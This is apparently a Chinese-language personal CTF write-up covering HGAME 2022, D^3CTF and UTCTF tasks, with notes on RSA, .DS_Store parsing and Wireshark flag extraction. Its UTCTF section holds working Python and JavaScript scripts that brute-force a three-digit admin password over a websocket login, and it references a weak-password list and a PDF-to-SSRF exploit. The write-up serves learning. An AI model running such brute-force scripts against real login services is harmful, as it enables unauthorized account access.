CTF比赛复盘(一)
HGAME 2022
WEB
EASY RSA
下载后发现是一个python源码,简单浏览后(我不是看的很懂python和rsa)推测跑一跑出flag(偷懒qwq),执行后发现许多包未下载,用pip逐一安装,其中Crypto包安装存在一定问题,参考pip安装后解决,扩展包安装完毕后发现仍无法运行:cannot import name 'flag' from 'secret',寄!
附大佬博客中的RSA题型总结
蛛蛛...嘿嘿?我的蛛蛛
根据关卡序号N下方有N个按钮,其中有某一个可以通往下一关,F12打开源码,寻找有链接的按钮,100关后进入最后一关,寻找flag,网页源码中并没有flag,试图读取flag.txt失败,显示“KEY有毒”(所以是啥呀喂)!
Tetris plus
小游戏,有三个同色的相互接触即可得分的消消乐,开心的玩到3000分提示莫得flag(寄)。
D^3CTF
WEB
d3oj
- 一言:https://hitokoto.cn/
shorter
-
.DS_Store:.DS_Store文件解析
本题
0x04块对齐
偏移量表:[
00 00 10 0B, //根块信息,标记为0x01号
00 00 00 45,
00 00 00 25,
计算位置及大小:
0x01: 100BH => 0000 1011B => 0x1000 //位置,别忘了0x04的偏移 01011B = 11D => 2^11 = 2048 => 1000 0000 0000B => 0x0800 //大小 0x02: 0045H => 0100 0101B => 0x40 2^5 = 32 = 0x20 0x03: 0x25 => 0010 0101B => 0x20 2^5 = 32 = 0x20得出结论:没有目录信息....(我吐了)
-
_MACOSX:_MACOSX是什么文件夹
-
SNAPSHOT:Maven快照
-
Docker:Docker菜鸟
UTCTF
UTCTF
UTCTF
WEB
- IP端口范围[1,65535]
Websockets?
进入登陆页面,采用"websocket"协议进行用户登录的连接,用burp抓包后发现要想建立连接需要快速发送:
- "begin"
- "user ${user}"
- "pass ${password}"
当user与pass的值都正确后才能成功建立连接。F12发现源码中有提示密码位三位数字,编写脚本进行爆破即可。
nkk提供了python的爆破脚本
import asyncio
import websockets
# 向服务器端认证,用户名密码通过才能退出循环
async def auth_system(websocket, password):
while True:
begin_text = "begin"
username = "user admin"
password = "pass "+ password
await websocket.send(begin_text)
await websocket.send(username)
await websocket.send(password)
response_str = await websocket.recv()
print(password +" " + response_str)
if "badpass" in response_str:
return True
# 客户端主逻辑
async def main_logic():
Continue = True
password = 100
while Continue:
async with websockets.connect('ws://web1.utctf.live:8651/internal/ws') as websocket:
Continue = await auth_system(websocket, str(password))
password += 1
# await send_msg(websocket)
asyncio.get_event_loop().run_until_complete(main_logic())
尝试自己编写js的爆破脚本(0/1)
3/14 2:28 脚本编写已成功(1/1)
async function send_(wss,msg){ //发送信息
wss.send(msg);
console.log('sending: '+msg)
}
async function websoc(num){
var ws = new WebSocket('ws://web1.utctf.live:8651/internal/ws'); //创建ws连接
var isOk=false; //标记此次连接的试探结果
await new Promise((resolve,reject) => {
ws.onopen = async function() {
console.log("well open"); //通知连接成功
try{
await send_(ws,'begin'); //按格式发送数据来创建session
await send_(ws,"user admin");
await send_(ws,"pass "+num); //密码试探
await new Promise((resolve,reject) => {
setTimeout(resolve,10000) //若十秒内无badpass回显则此次试探成功
ws.onmessage = (evt) => {
console.log(evt);
if(evt.data=='badpass') { //此次试探失败,更改标记
isOk=true; //这里顺序可以调换,resolve()不会立即跳出
resolve('pwderr');
}
}
})
if (isOk){
throw new Error("bad pass!") //抛出试探失败的err
}
} catch(err) {
console.log(err); //通知试探失败
}
resolve(); //这里一定一定要加括号,这样才是函数调用,否则只是参数
};
})
await new Promise((resolve,reject) => {
ws.onclose = function() {
console.log('Connection closed.'); //通知连接断开
resolve(); //不加括号会出现resolve无效的情况,程序会卡住
};
})
return isOk //返回标记
}
async function main_logic(beg,end){ //输入密码爆破的范围
var running=true;
var num=beg;
while(running && num<=end){ //爆破密码
console.log("following: "+num) //通知本次试探的num
running = await websoc(num) //试探num
num+=1
}
if(num<=end) console.log("success!") //通知爆破结果
else console.log("failed!")
}
JavaScript下websocket的异步处理思路:
websocket的连接建立并返回"badpass"后若不继续传输数据,则会产生以下报错并断开连接:
VWebSocket connection to 'ws://web1.utctf.live:8651/internal/ws' failed: Invalid frame header
若继续传输无效数据则会返回"error"并正常断开连接
将onopen onmessage onclose函数分别包裹进promise中,当条件达成时再结束本次promise以达到异步处理的效果,试探失败就等待连接断开后重新建立连接
总结:本题涉及"websocket"协议,需了解后摸清连接规则,编写脚本爆破密码
参考:[
es6使用websocket同步等待方法,
WebSocket MDN文档,
JavaScript教程-Promise,async/await,
PDF解析器html/XSS 实现SSRF
wkhtmltopdf漏洞
全国弱口令TOP1000
]
Beginner
BabyShark
提示HTTP中有信息
用wireshark打开后发现两条HTTP流,第一条提示曾用GET方法请求过"flag.png"文件,第二条流是一个PNG文件的传输流,猜测为flag图像,
右键PNG栏目(Portable Network Graphics),导出分组字节流并保存为"flag.png"
得到flag
BabyShark2
这个更简单,提示ftp流有信息,过滤栏输入"ftp"提取ftp信息发现有很多,观察信息直接找到flag
WP参考:csn3rd